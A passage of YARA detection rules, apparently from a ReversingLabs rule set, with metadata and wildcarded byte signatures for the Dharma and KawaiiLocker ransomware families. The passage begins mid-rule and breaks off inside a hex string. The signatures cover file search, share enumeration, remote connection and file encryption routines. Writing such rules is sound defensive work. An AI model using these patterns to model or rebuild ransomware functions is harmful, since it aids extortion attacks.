+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Dharma.yara#L1-L108"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6f33281523b462aaff68bb04f2f6869c3e6cd60cd9306ed80bb0c3e3b699f315"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Dharma"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$file_search = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
+            8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 8B 55
+            ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ??
+            75 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 8B
+            4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B
+            55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D
+            ?? ?? 75 ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52
+            8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ??
+            89 45 ?? 8B 45 ?? 8B E5 5D C3
+        }
+		$file_encrypt_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 4D ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 8B 45 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 8B 45 ?? 2B C2 83 E8 ?? 89 45 ?? 8B
+            4D ?? 51 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ??
+            ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 05 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 ?? ??
+            ?? ?? 8B 4D ?? 83 E1 ?? 74 ?? 8B 55 ?? 83 E2 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ??
+            6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ??
+            ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 89 55 ?? 8B 45 ?? 89 85 ?? ?? ??
+            ?? 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D
+            ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 75 ??
+            83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51
+            E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D
+            ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B
+            55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 83 7D
+            ?? ?? 75 ?? 8B 4D ?? 3B 4D ?? 73 ?? 8B 45 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 B8 ?? ?? ??
+            ?? 2B C2 89 45 ?? 8B 4D ?? 03 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 03 45 ?? 50 8B 4D ?? 51
+        }
+		$file_encrypt_2 = {
+            8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 45 ?? 39 85 ?? ?? ?? ??
+            74 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ??
+            83 C4 ?? 8B 95 ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ??
+            ?? 83 7D ?? ?? 74 ?? 8B 8D ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50
+            8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 03 55 ?? 89 55 ?? 8B 45 ?? 03 45 ?? 89
+            45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45
+            ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45 ??
+            6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89
+            45 ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45
+            ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 05 ?? ??
+            ?? ?? 89 45 ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0
+            ?? 89 45 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 2B 55 ?? 52 8B 45 ?? 50 8B 8D ?? ??
+            ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 2B 55 ?? 39 95 ?? ?? ?? ?? 74 ?? EB ??
+            EB ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? E9 ??
+            ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7E ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 8D ?? ??
+            ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ??
+            8B 55 ?? 52 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7E ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ??
+            ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$enum_shares = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ??
+            50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 E8 ??
+            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45
+            ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 75
+            ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ??
+            52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 8B 55 ??
+            8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 ??
+            8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 E1
+            ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 03 4D ?? 51 E8 ?? ?? ?? ?? 83 C4
+            ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ??
+            52 E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F
+            85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8D
+            4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB
+            ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B 55 ?? C1 E2 ??
+            8B 45 ?? 83 7C 10 ?? ?? 75 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? C1
+            E0 ?? 8B 4D ?? 8B 54 01 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 8B 45 ?? 50
+            8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 4D ?? 51
+            8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ??
+            8B 45 ?? 8B 4C 10 ?? 83 E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 03 4D
+            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $file_search and $enum_shares and $file_encrypt_1 and $file_encrypt_2
+}
+rule REVERSINGLABS_Win32_Ransomware_Kawaiilocker : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects KawaiiLocker ransomware."
+		author = "ReversingLabs"
+		id = "8c368e2d-3c6f-5c4b-880b-ebdb06dcf901"
+		date = "2020-08-17"
+		modified = "2020-08-17"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.KawaiiLocker.yara#L1-L135"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "d86b41ef1c43da55869ad26facd5efdf232277f0e33483690a69a04c4ba8f7da"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "KawaiiLocker"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_files = {
+            55 8B EC 51 B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 87 4D ?? 53 56 57 88 4D ?? 89 55
+            ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8
+            ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F
+            85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 7D ?? ?? 0F 85 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8A 4D
+            ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? FF 75 ?? 68
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 13 E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ??
+            ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D
+            95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ??
+            FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 83 C3 ?? 4E 0F 85 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8B C7 83 C8 ?? 3B C7 75 ?? 80 7D ?? ?? 0F 85 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8A 4D
+            ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? FF 75 ?? 68
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 13 E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ??
+            ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D
+            95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ??
+            FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 83 C3 ?? 4E 0F 85 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? C3
+        }
+		$remote_connection = {
+            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2
+            ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            45 ?? 50 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 59 E8 ?? ?? ?? ??
+            8D 4D ?? BA ?? ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75
+            ?? 8D 4D ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 8D 45 ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45
+            ?? 8B 50 ?? 8B 45 ?? 8B 08 FF 51 ?? 8D 55 ?? 8B 45 ?? 8B 08 FF 51 ?? 8B 45 ?? 8D 55
+            ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? E8 ?? ??
+            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B C3 8B 55 ?? E8 ?? ?? ?? ??
+            33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+        }
+		$encrypt_files = {
+            55 8B EC 6A ?? 6A ?? 6A ?? 53 56 57 BB ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30
+            64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52
+            ?? 8B F0 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43
+            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ??
